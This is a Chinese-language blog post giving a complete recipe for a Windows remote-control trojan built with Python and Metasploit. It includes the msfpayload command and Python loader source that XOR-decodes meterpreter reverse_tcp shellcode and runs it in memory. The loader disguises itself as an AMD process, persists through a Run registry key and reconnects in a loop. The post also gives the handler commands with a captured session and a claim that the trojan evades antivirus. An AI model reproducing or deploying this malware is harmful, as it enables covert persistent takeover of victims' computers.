python+msf 制作 windows远控

小雪崩

　　最近分析的一个远控，后发现是meterpreter rever http shell，文件是个打包的python（打包成exe），感谢wstone的指导~
　　创建dll



./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444  -t dll X > /tmp/sc.dll
　　python
　　main.py



import sys, os
import shutil
import time
import ctypes
import glob
import multiprocessing
import multiprocessing.forking
from sc import sc
from win32file import GetLongPathName
import _winreg
from itertools import izip, cycle
from utils import getppid, kill, get_base_dir
RECONNECT_SLEEP = 60
STARTUP_SLEEP = 30
CHILD_STARTUP_SLEEP = 10
METER_NAME = "aticlex.exe"
METER_DIR = "AMD"
USER_DIR = os.path.expanduser("~")
try:
from win32com.shell import shellcon, shell
APPDATA_DIR = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
DATA_DIR = os.path.join(APPDATA_DIR, METER_DIR)
except:
DATA_DIR = os.path.join(USER_DIR, METER_DIR)
METER_PATH = os.path.join(DATA_DIR, METER_NAME)
class _Popen(multiprocessing.forking.Popen):
def __init__(self, *args, **kw):
if hasattr(sys, 'frozen'):
os.putenv('_MEIPASS2', sys._MEIPASS)
try:
super(_Popen, self).__init__(*args, **kw)
finally:
if hasattr(sys, 'frozen'):
os.unsetenv('_MEIPASS2')

class Process(multiprocessing.Process):
_Popen = _Popen

class Worker(Process):
def xor(self, data, key='\x41\x82\x99\x73\x12\xf8\x0e\x38'):
return ''.join(chr(ord(c)^ord(k)) for c,k in izip(data, cycle(key)))
def run(self):
time.sleep(CHILD_STARTUP_SLEEP)
code = self.xor(sc)
cbuf = ctypes.create_string_buffer(code)
func = ctypes.cast(cbuf, ctypes.CFUNCTYPE(ctypes.HRESULT))
func()
def install():
reg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
key = _winreg.OpenKey(reg, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(key, METER_NAME.split(".")[0], 0, _winreg.REG_SZ, METER_PATH)
path = GetLongPathName(sys.executable)
if path != METER_PATH:
if not os.path.exists(DATA_DIR):
os.makedirs(DATA_DIR)
try:
shutil.copy(path, METER_PATH)
except Exception as e:
sys.exit(1)
os.execve(METER_PATH, [METER_PATH], os.environ)
def clean():
try:
base_dir = get_base_dir()
temp_dir = os.path.abspath(os.path.join(base_dir, os.pardir))
mei = base_dir.split("\\")[-1]
pattern = "%s\\_MEI*" % temp_dir
for path in glob.glob(pattern):
path = GetLongPathName(path)
if path != base_dir and mei.lower() not in path.lower():
try:
shutil.rmtree(path)
except:
pass
except:
pass
def main():
kill(getppid())
time.sleep(STARTUP_SLEEP)
install()
clean()
while True:
p = Worker()
p.daemon = True
p.start()
p.join()
time.sleep(RECONNECT_SLEEP)
if __name__ == "__main__":
multiprocessing.freeze_support()
main()
　　sc.py



sc='\x12\x34' .........
# sc = sc.dll open with rb mode

　　然后pythoninstall 生成exe。
　　监听：



msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444  
lport => 4444  
msf exploit(handler) > run  

Started reverse handler on 192.168.1.123:4444  

Starting the payload handler...  

Sending stage (770048 bytes) to 192.168.1.80  

Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500  
meterpreter >  

　　木马特征：
　　添加注册表启动项，定时load msf payload，过赛门铁克等杀软。